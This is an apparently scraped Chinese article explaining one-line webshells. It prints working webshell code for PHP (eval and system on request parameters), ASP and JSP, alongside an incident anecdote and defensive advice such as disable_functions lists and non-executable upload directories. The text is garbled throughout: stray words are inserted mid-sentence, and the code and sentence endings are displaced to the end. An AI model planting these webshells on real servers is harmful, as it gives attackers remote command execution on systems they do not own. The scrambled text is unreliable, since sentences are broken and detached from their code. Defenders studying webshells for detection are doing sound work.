webshell一句话木马
一句话木马的句话本质,就是木马一段能被服务器解析执行、同时又能接收外部输入的句话极短代码。它不是木马完整程序,更像一根针——捅进服务器后,句话攻击者靠这根针往里灌指令。木马 最早的句话经典版本出现在PHP环境里,代码短到令人发指: 就这一行。上传到目标服务器上任何一个能解析PHP的句话目录,攻击者本地发一个POST请求,木马cmd参数里写什么,句话服务器就执行什么。木马没有回显?句话那就换成 这东西为什么叫“一句话”?因为真的只有一句话。它不像大马那样带文件管理、命令执行、数据库操作的面板界面,它只做一件事:把外部输入当代码跑。功能全靠攻击者自己发指令实现,木马本身只是个通道。 我见过一个真实案例。某次应急响应,客户网站被上传了一个 ASP和ASPX环境同样有对应版本。ASP的经典写法是 防御这件事,光靠删文件没用。上传点得卡死——文件类型白名单、内容检测、重命名策略,一个都不能少。权限也得收——Web目录禁止执行脚本,PHP的 我个人的判断是:一句话木马不会消失。它太简单、太灵活、太容易变种。真正有效的防御不是找特征码,而是让攻击者即使上传成功也执行不了——权限最小化、目录不可写、脚本不可执行、外连被监控。这比追着木马变种跑要靠谱得多。 最后提一句,有些一句话木马会主动删除自身,只留内存马。你翻遍磁盘找不到文件,但请求一发过去,命令照样执行。这时候查<?木马php @eval($_POST['cmd']); ?>system($_GET['c']),或者用assert()、木马preg_replace的句话/e修饰符——版本不同,写法不同,思路一样。1.php,内容就一行eval。安全人员删掉文件后以为完事,结果第二天又出现了,文件名换成了2.php。查日志发现,攻击者早就在另一个目录埋了第二个一句话,第一个只是诱饵。更麻烦的是,有些一句话木马会伪装成图片的EXIF注释,或者藏在session文件里,常规文件扫描根本扫不出来。<%eval request("cmd")%>,ASPX则常用PageLanguage="C#"配合Request["cmd"]。JSP那边更隐蔽,有人用Runtime.getRuntime().exec(request.getParameter("cmd")),也有人用自定义类加载器动态编译执行。语言不同,核心逻辑完全一致:接收参数→执行。disable_functions里把eval、system、exec、passthru全禁掉。但道高一尺魔高一丈,有些一句话用assert、create_function,甚至用include配合远程文件,禁函数列表得跟着更新。phpinfo、看auto_prepend_file、翻.user.ini,比单纯扫文件有用。
- 随机阅读
- 搜索
-
- 友情链接
-